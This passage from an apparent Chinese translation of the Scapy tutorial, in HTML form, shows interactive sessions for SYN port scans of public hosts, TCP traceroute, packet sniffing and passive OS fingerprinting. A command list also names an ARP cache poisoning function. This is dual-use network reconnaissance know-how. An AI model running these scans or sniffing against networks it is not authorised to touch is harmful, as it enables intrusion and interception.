class="string">"%TCP.sport% \t %TCP.flags%"</span>) )</span><br><span class="line"><span class="number">440</span> RA</span><br><span class="line"><span class="number">441</span> RA</span><br><span class="line"><span class="number">442</span> RA</span><br><span class="line">https SA</span><br></pre></td></tr></table></figure><p> 可以使用<code>make_table()</code>函数建立一个表格,更好地显示多个目标信息: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=[<span class="string">"192.168.1.1"</span>,<span class="string">"yahoo.com"</span>,<span class="string">"slashdot.org"</span>])/TCP(dport=[<span class="number">22</span>,<span class="number">80</span>,<span class="number">443</span>],flags=<span class="string">"S"</span>))</span><br><span class="line">Begin emission:</span><br><span class="line">.......*.**.......Finished to send <span class="number">9</span> packets.</span><br><span class="line">**.*.*..*..................</span><br><span class="line">Received <span class="number">362</span> packets, got <span class="number">8</span> answers, remaining <span class="number">1</span> packets</span><br><span class="line"><span class="meta">>>> </span>ans.make_table(</span><br><span class="line"><span class="meta">... </span> <span class="keyword">lambda</span>(s,r): (s.dst, s.dport,</span><br><span class="line"><span class="meta">... </span> r.sprintf(<span class="string">"{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"</span>)))</span><br><span class="line"> <span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span> <span class="number">216.109</span><span class="number">.112</span><span class="number">.135</span></span><br><span class="line"><span class="number">22</span> <span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> - dest-unreach RA -</span><br><span class="line"><span class="number">80</span> SA RA SA</span><br><span class="line"><span class="number">443</span> SA SA SA</span><br></pre></td></tr></table></figure><p>在以上的例子中,如果接收到作为响应的ICMP数据包而不是预期的TCP数据包,就会打印出ICMP差错类型(error type)。</p><p>对于更大型的扫描,我们可能对某个响应感兴趣,下面的例子就只显示设置了”SA”标志位的数据包:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.nsummary(lfilter = <span class="keyword">lambda</span> (s,r): r.sprintf(<span class="string">"%TCP.flags%"</span>) == <span class="string">"SA"</span>)</span><br><span class="line">0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA</span><br></pre></td></tr></table></figure><p>I如果我们想对响应进行专业分析,我们可以使用使用以下的命令显示哪些端口是open的: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary(lfilter = <span class="keyword">lambda</span> (s,r): r.sprintf(<span class="string">"%TCP.flags%"</span>) == <span class="string">"SA"</span>,prn=<span class="keyword">lambda</span>(s,r):r.sprintf(<span class="string">"%TCP.sport% is open"</span>))</span><br><span class="line">https <span class="keyword">is</span> open</span><br></pre></td></tr></table></figure><p> 对于更大型的扫描,我们可以建立一个端口开放表: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.filter(<span class="keyword">lambda</span> (s,r):TCP <span class="keyword">in</span> r <span class="keyword">and</span> r[TCP].flags&<span class="number">2</span>).make_table(<span class="keyword">lambda</span> (s,r):</span><br><span class="line"><span class="meta">... </span> (s.dst, s.dport, <span class="string">"X"</span>))</span><br><span class="line"> <span class="number">66.35</span><span class="number">.250</span><span class="number">.150</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span> <span class="number">216.109</span><span class="number">.112</span><span class="number">.135</span></span><br><span class="line"><span class="number">80</span> X - X</span><br><span class="line"><span class="number">443</span> X X X</span><br></pre></td></tr></table></figure><p> 如果以上的方法还不够,Scapy还包含一个<code>report_ports()</code>函数,该函数不仅可以自动化SYN scan,而且还会对收集的结果以LaTeX形式输出: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>report_ports(<span class="string">"192.168.1.1"</span>,(<span class="number">440</span>,<span class="number">443</span>))</span><br><span class="line">Begin emission:</span><br><span class="line">...*.**Finished to send <span class="number">4</span> packets.</span><br><span class="line">*</span><br><span class="line">Received <span class="number">8</span> packets, got <span class="number">4</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"><span class="string">'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440</span></span><br><span class="line"><span class="string"> & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &</span></span><br><span class="line"><span class="string">TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'</span></span><br></pre></td></tr></table></figure><h3 id="TCP-traceroute"><a href="#TCP-traceroute" class="headerlink" title="TCP traceroute"></a>TCP traceroute</h3><p> TCP路由追踪: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=target, ttl=(<span class="number">4</span>,<span class="number">25</span>),id=RandShort())/TCP(flags=<span class="number">0x2</span>))</span><br><span class="line">*****.******.*.***..*.**Finished to send <span class="number">22</span> packets.</span><br><span class="line">***......</span><br><span class="line">Received <span class="number">33</span> packets, got <span class="number">21</span> answers, remaining <span class="number">1</span> packets</span><br><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> snd,rcv <span class="keyword">in</span> ans:</span><br><span class="line"><span class="meta">... </span> <span class="keyword">print</span> snd.ttl, rcv.src, isinstance(rcv.payload, TCP)</span><br><span class="line">...</span><br><span class="line"><span class="number">5</span> <span class="number">194.51</span><span class="number">.159</span><span class="number">.65</span> <span class="number">0</span></span><br><span class="line"><span class="number">6</span> <span class="number">194.51</span><span class="number">.159</span><span class="number">.49</span> <span class="number">0</span></span><br><span class="line"><span class="number">4</span> <span class="number">194.250</span><span class="number">.107</span><span class="number">.181</span> <span class="number">0</span></span><br><span class="line"><span class="number">7</span> <span class="number">193.251</span><span class="number">.126</span><span class="number">.34</span> <span class="number">0</span></span><br><span class="line"><span class="number">8</span> <span class="number">193.251</span><span class="number">.126</span><span class="number">.154</span> <span class="number">0</span></span><br><span class="line"><span class="number">9</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.89</span> <span class="number">0</span></span><br><span class="line"><span class="number">10</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.110</span> <span class="number">0</span></span><br><span class="line"><span class="number">11</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.173</span> <span class="number">0</span></span><br><span class="line"><span class="number">13</span> <span class="number">208.172</span><span class="number">.251</span><span class="number">.165</span> <span class="number">0</span></span><br><span class="line"><span class="number">12</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.173</span> <span class="number">0</span></span><br><span class="line"><span class="number">14</span> <span class="number">208.172</span><span class="number">.251</span><span class="number">.165</span> <span class="number">0</span></span><br><span class="line"><span class="number">15</span> <span class="number">206.24</span><span class="number">.226</span><span class="number">.99</span> <span class="number">0</span></span><br><span class="line"><span class="number">16</span> <span class="number">206.24</span><span class="number">.238</span><span class="number">.34</span> <span class="number">0</span></span><br><span class="line"><span class="number">17</span> <span class="number">173.109</span><span class="number">.66</span><span class="number">.90</span> <span class="number">0</span></span><br><span class="line"><span class="number">18</span> <span class="number">173.109</span><span class="number">.88</span><span class="number">.218</span> <span class="number">0</span></span><br><span class="line"><span class="number">19</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br><span class="line"><span class="number">20</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br><span class="line"><span class="number">21</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br><span class="line"><span class="number">22</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br><span class="line"><span class="number">23</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br><span class="line"><span class="number">24</span> <span class="number">173.29</span><span class="number">.39</span><span class="number">.101</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><p> 注意:TCP路由跟踪和其他高级函数早已被构造好了: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>lsc()</span><br><span class="line">sr : Send <span class="keyword">and</span> receive packets at layer <span class="number">3</span></span><br><span class="line">sr1 : Send packets at layer <span class="number">3</span> <span class="keyword">and</span> <span class="keyword">return</span> only the first answer</span><br><span class="line">srp : Send <span class="keyword">and</span> receive packets at layer <span class="number">2</span></span><br><span class="line">srp1 : Send <span class="keyword">and</span> receive packets at layer <span class="number">2</span> <span class="keyword">and</span> <span class="keyword">return</span> only the first answer</span><br><span class="line">srloop : Send a packet at layer <span class="number">3</span> <span class="keyword">in</span> loop <span class="keyword">and</span> <span class="keyword">print</span> the answer each time</span><br><span class="line">srploop : Send a packet at layer <span class="number">2</span> <span class="keyword">in</span> loop <span class="keyword">and</span> <span class="keyword">print</span> the answer each time</span><br><span class="line">sniff : Sniff packets</span><br><span class="line">p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ?</span><br><span class="line">arpcachepoison : Poison target<span class="string">'s cache with (your MAC,victim'</span>s IP) couple</span><br><span class="line">send : Send packets at layer <span class="number">3</span></span><br><span class="line">sendp : Send packets at layer <span class="number">2</span></span><br><span class="line">traceroute : Instant TCP traceroute</span><br><span class="line">arping : Send ARP who-has requests to determine which hosts are up</span><br><span class="line">ls : List available layers, <span class="keyword">or</span> infos on a given layer</span><br><span class="line">lsc : List user commands</span><br><span class="line">queso : Queso OS fingerprinting</span><br><span class="line">nmap_fp : nmap fingerprinting</span><br><span class="line">report_ports : portscan a target <span class="keyword">and</span> output a LaTeX table</span><br><span class="line">dyndns_add : Send a DNS add message to a nameserver <span class="keyword">for</span> <span class="string">"name"</span> to have a new <span class="string">"rdata"</span></span><br><span class="line">dyndns_del : Send a DNS delete message to a nameserver <span class="keyword">for</span> <span class="string">"name"</span></span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><p>Scapy 同样可以使用 GeoIP2 模块, 结合 matplotlib 和 <a href="http://scitools.org.uk/cartopy/docs/latest/installing.html" target="_blank" rel="noopener">cartopy</a> 可以生成如下有趣的图片:</p><p><img src="traceroute_worldplot.png" alt="_images/traceroute_worldplot.png"></p><p>在这个例子中,我们使用了 traceroute_map() 函数来绘制图片,这个函数使用了 TracerouteResultobjects 中的 world_trace 函数,当然他可以有其他的用法:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.geoip_city = <span class="string">"path/to/GeoLite2-City.mmdb"</span></span><br><span class="line"><span class="meta">>>> </span>a = traceroute([<span class="string">"www.google.co.uk"</span>, <span class="string">"www.secdev.org"</span>], verbose=<span class="number">0</span>)</span><br><span class="line"><span class="meta">>>> </span>a.world_trace()</span><br></pre></td></tr></table></figure><p>或者:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.geoip_city = <span class="string">"path/to/GeoLite2-City.mmdb"</span></span><br><span class="line"><span class="meta">>>> </span>traceroute_map([<span class="string">"www.google.co.uk"</span>, <span class="string">"www.secdev.org"</span>])</span><br></pre></td></tr></table></figure><p>确保你安装了 <a href="https://pypi.python.org/pypi/geoip2" target="_blank" rel="noopener">geoip2</a> , <a href="https://dev.maxmind.com/geoip/geoip2/geolite2/" target="_blank" rel="noopener">以及它的数据库</a> (<a href="https://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz" target="_blank" rel="noopener">direct download</a>) 和 <a href="http://scitools.org.uk/cartopy/docs/latest/installing.html" target="_blank" rel="noopener">cartopy</a> 模块来使用这一功能.</p><h3 id="Configuring-super-sockets"><a href="#Configuring-super-sockets" class="headerlink" title="Configuring super sockets"></a>Configuring super sockets</h3><p>Different super sockets are available in Scapy: the <strong>native</strong> ones, and the ones that use <strong>libpcap</strong> (to send/receive packets).</p><p>By default, Scapy will try to use the native ones (<em>except on Windows, where the winpcap/npcap ones are preferred</em>). To manually use the <strong>libpcap</strong> ones, you must:</p><ul><li>On Unix/OSX: be sure to have libpcap installed.</li><li>On Windows: have Npcap/Winpcap installed. (default)</li></ul><p>Then use:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.use_pcap = <span class="literal">True</span></span><br></pre></td></tr></table></figure><p>This will automatically update the sockets pointing to <code>conf.L2socket</code> and <code>conf.L3socket</code>.</p><p>If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.L3socket=L3pcapSocket <span class="comment"># Receive/send L3 packets through libpcap</span></span><br><span class="line"><span class="meta">>>> </span>conf.L2listen=L2ListenTcpdump <span class="comment"># Receive L2 packets through TCPDump</span></span><br></pre></td></tr></table></figure><h3 id="Sniffing"><a href="#Sniffing" class="headerlink" title="Sniffing"></a>Sniffing</h3><p> 我们可以简单地捕获数据包,或者是克隆tcpdump或tethereal的功能。如果没有指定interface,则会 按照<code>conf.iface</code> 的设置进行嗅探::</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span> sniff(filter=<span class="string">"icmp and host 66.35.250.151"</span>, count=<span class="number">2</span>)</span><br><span class="line"><Sniffed: UDP:<span class="number">0</span> TCP:<span class="number">0</span> ICMP:<span class="number">2</span> Other:<span class="number">0</span>></span><br><span class="line"><span class="meta">>>> </span> a=_</span><br><span class="line"><span class="meta">>>> </span> a.nsummary()</span><br><span class="line"><span class="number">0000</span> Ether / IP / ICMP <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> echo-request <span class="number">0</span> / Raw</span><br><span class="line"><span class="number">0001</span> Ether / IP / ICMP <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> echo-request <span class="number">0</span> / Raw</span><br><span class="line"><span class="meta">>>> </span> a[<span class="number">1</span>]</span><br><span class="line"><Ether dst=<span class="number">00</span>:ae:f3:<span class="number">52</span>:aa:d1 src=<span class="number">00</span>:<span class="number">02</span>:<span class="number">15</span>:<span class="number">37</span>:a2:<span class="number">44</span> type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line"> ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">84</span> id=<span class="number">0</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=ICMP chksum=<span class="number">0x3831</span></span><br><span class="line"> src=<span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> dst=<span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> options=<span class="string">''</span> |<ICMP type=echo-request code=<span class="number">0</span></span><br><span class="line"> chksum=<span class="number">0x6571</span> id=<span class="number">0x8745</span> seq=<span class="number">0x0</span> |<Raw load=<span class="string">'B\xf7g\xda\x00\x07um\x08\t\n\x0b</span></span><br><span class="line"><span class="string"> \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d</span></span><br><span class="line"><span class="string"> \x1e\x1f !\x22#$%&\'()*+,-./01234567'</span> |>>>></span><br><span class="line"><span class="meta">>>> </span>sniff(iface=<span class="string">"wifi0"</span>, prn=<span class="keyword">lambda</span> x: x.summary())</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">8</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info <span class="number">133</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">4</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Probe Request / Info SSID / Info Rates</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">5</span> <span class="number">00</span>:<span class="number">0</span>a:<span class="number">41</span>:ee:a5:<span class="number">50</span> / <span class="number">802.11</span> Probe Response / Info SSID / Info Rates / Info DSset / Info <span class="number">133</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">4</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Probe Request / Info SSID / Info Rates</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">4</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Probe Request / Info SSID / Info Rates</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">8</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info <span class="number">133</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">11</span> <span class="number">00</span>:<span class="number">07</span>:<span class="number">50</span>:d6:<span class="number">44</span>:<span class="number">3</span>f / <span class="number">802.11</span> Authentication</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">11</span> <span class="number">00</span>:<span class="number">0</span>a:<span class="number">41</span>:ee:a5:<span class="number">50</span> / <span class="number">802.11</span> Authentication</span><br><span class="line"><span class="number">802.11</span> Management <span class="number">0</span> <span class="number">00</span>:<span class="number">07</span>:<span class="number">50</span>:d6:<span class="number">44</span>:<span class="number">3</span>f / <span class="number">802.11</span> Association Request / Info SSID / Info Rates / Info <span class="number">133</span> / Info <span class="number">149</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">1</span> <span class="number">00</span>:<span class="number">0</span>a:<span class="number">41</span>:ee:a5:<span class="number">50</span> / <span class="number">802.11</span> Association Response / Info Rates / Info <span class="number">133</span> / Info <span class="number">149</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">8</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info <span class="number">133</span></span><br><span class="line"><span class="number">802.11</span> Management <span class="number">8</span> ff:ff:ff:ff:ff:ff / <span class="number">802.11</span> Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info <span class="number">133</span></span><br><span class="line"><span class="number">802.11</span> / LLC / SNAP / ARP who has <span class="number">172.20</span><span class="number">.70</span><span class="number">.172</span> says <span class="number">172.20</span><span class="number">.70</span><span class="number">.171</span> / Padding</span><br><span class="line"><span class="number">802.11</span> / LLC / SNAP / ARP <span class="keyword">is</span> at <span class="number">00</span>:<span class="number">0</span>a:b7:<span class="number">4</span>b:<span class="number">9</span>c:dd says <span class="number">172.20</span><span class="number">.70</span><span class="number">.172</span> / Padding</span><br><span class="line"><span class="number">802.11</span> / LLC / SNAP / IP / ICMP echo-request <span class="number">0</span> / Raw</span><br><span class="line"><span class="number">802.11</span> / LLC / SNAP / IP / ICMP echo-reply <span class="number">0</span> / Raw</span><br><span class="line"><span class="meta">>>> </span>sniff(iface=<span class="string">"eth1"</span>, prn=<span class="keyword">lambda</span> x: x.show())</span><br><span class="line">---[ Ethernet ]---</span><br><span class="line">dst = <span class="number">00</span>:ae:f3:<span class="number">52</span>:aa:d1</span><br><span class="line">src = <span class="number">00</span>:<span class="number">02</span>:<span class="number">15</span>:<span class="number">37</span>:a2:<span class="number">44</span></span><br><span class="line">type = <span class="number">0x800</span></span><br><span class="line">---[ IP ]---</span><br><span class="line"> version = <span class="number">4L</span></span><br><span class="line"> ihl = <span class="number">5L</span></span><br><span class="line"> tos = <span class="number">0x0</span></span><br><span class="line"> len = <span class="number">84</span></span><br><span class="line"> id = <span class="number">0</span></span><br><span class="line"> flags = DF</span><br><span class="line"> frag = <span class="number">0L</span></span><br><span class="line"> ttl = <span class="number">64</span></span><br><span class="line"> proto = ICMP</span><br><span class="line"> chksum = <span class="number">0x3831</span></span><br><span class="line"> src = <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span></span><br><span class="line"> dst = <span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span></span><br><span class="line"> options = <span class="string">''</span></span><br><span class="line">---[ ICMP ]---</span><br><span class="line"> type = echo-request</span><br><span class="line"> code = <span class="number">0</span></span><br><span class="line"> chksum = <span class="number">0x89d9</span></span><br><span class="line"> id = <span class="number">0xc245</span></span><br><span class="line"> seq = <span class="number">0x0</span></span><br><span class="line">---[ Raw ]---</span><br><span class="line"> load = <span class="string">'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'</span></span><br><span class="line">---[ Ethernet ]---</span><br><span class="line">dst = <span class="number">00</span>:<span class="number">02</span>:<span class="number">15</span>:<span class="number">37</span>:a2:<span class="number">44</span></span><br><span class="line">src = <span class="number">00</span>:ae:f3:<span class="number">52</span>:aa:d1</span><br><span class="line">type = <span class="number">0x800</span></span><br><span class="line">---[ IP ]---</span><br><span class="line"> version = <span class="number">4L</span></span><br><span class="line"> ihl = <span class="number">5L</span></span><br><span class="line"> tos = <span class="number">0x0</span></span><br><span class="line"> len = <span class="number">84</span></span><br><span class="line"> id = <span class="number">2070</span></span><br><span class="line"> flags =</span><br><span class="line"> frag = <span class="number">0L</span></span><br><span class="line"> ttl = <span class="number">42</span></span><br><span class="line"> proto = ICMP</span><br><span class="line"> chksum = <span class="number">0x861b</span></span><br><span class="line"> src = <span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span></span><br><span class="line"> dst = <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span></span><br><span class="line"> options = <span class="string">''</span></span><br><span class="line">---[ ICMP ]---</span><br><span class="line"> type = echo-reply</span><br><span class="line"> code = <span class="number">0</span></span><br><span class="line"> chksum = <span class="number">0x91d9</span></span><br><span class="line"> id = <span class="number">0xc245</span></span><br><span class="line"> seq = <span class="number">0x0</span></span><br><span class="line">---[ Raw ]---</span><br><span class="line"> load = <span class="string">'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'</span></span><br><span class="line">---[ Padding ]---</span><br><span class="line"> load = <span class="string">'\n_\x00\x0b'</span></span><br><span class="line"><span class="meta">>>> </span>sniff(iface=[<span class="string">"eth1"</span>,<span class="string">"eth2"</span>], prn=<span class="keyword">lambda</span> x: x.sniffed_on+<span class="string">": "</span>+x.summary())</span><br><span class="line">eth3: Ether / IP / ICMP <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> > <span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> echo-request <span class="number">0</span> / Raw</span><br><span class="line">eth3: Ether / IP / ICMP <span class="number">66.35</span><span class="number">.250</span><span class="number">.151</span> > <span class="number">192.168</span><span class="number">.5</span><span class="number">.21</span> echo-reply <span class="number">0</span> / Raw</span><br><span class="line">eth2: Ether / IP / ICMP <span class="number">192.168</span><span class="number">.5</span><span class="number">.22</span> > <span class="number">66.35</span><span class="number">.250</span><span class="number">.152</span> echo-request <span class="number">0</span> / Raw</span><br><span class="line">eth2: Ether / IP / ICMP <span class="number">66.35</span><span class="number">.250</span><span class="number">.152</span> > <span class="number">192.168</span><span class="number">.5</span><span class="number">.22</span> echo-reply <span class="number">0</span> / Raw</span><br></pre></td></tr></table></figure><p> 对于控制输出信息,我们可以使用<code>sprintf()</code>函数: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkts = sniff(prn=<span class="keyword">lambda</span> x:x.sprintf(<span class="string">"{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"</span>))</span><br><span class="line">192.168.1.100 -> 64.233.167.99</span><br><span class="line"></span><br><span class="line">64.233.167.99 -> 192.168.1.100</span><br><span class="line"></span><br><span class="line">192.168.1.100 -> 64.233.167.99</span><br><span class="line"></span><br><span class="line">192.168.1.100 -> 64.233.167.99</span><br><span class="line"><span class="string">'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0</span></span><br><span class="line"><span class="string">(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)</span></span><br><span class="line"><span class="string">Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,</span></span><br><span class="line"><span class="string">text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:</span></span><br><span class="line"><span class="string">en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:</span></span><br><span class="line"><span class="string">ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:</span></span><br><span class="line"><span class="string">keep-alive\r\nCache-Control: max-age=0\r\n\r\n'</span></span><br></pre></td></tr></table></figure><p> 我们可以嗅探并进行被动操作系统指纹识别: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>p</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">10</span>:<span class="number">4</span>b:b3:<span class="number">7</span>d:<span class="number">4</span>e src=<span 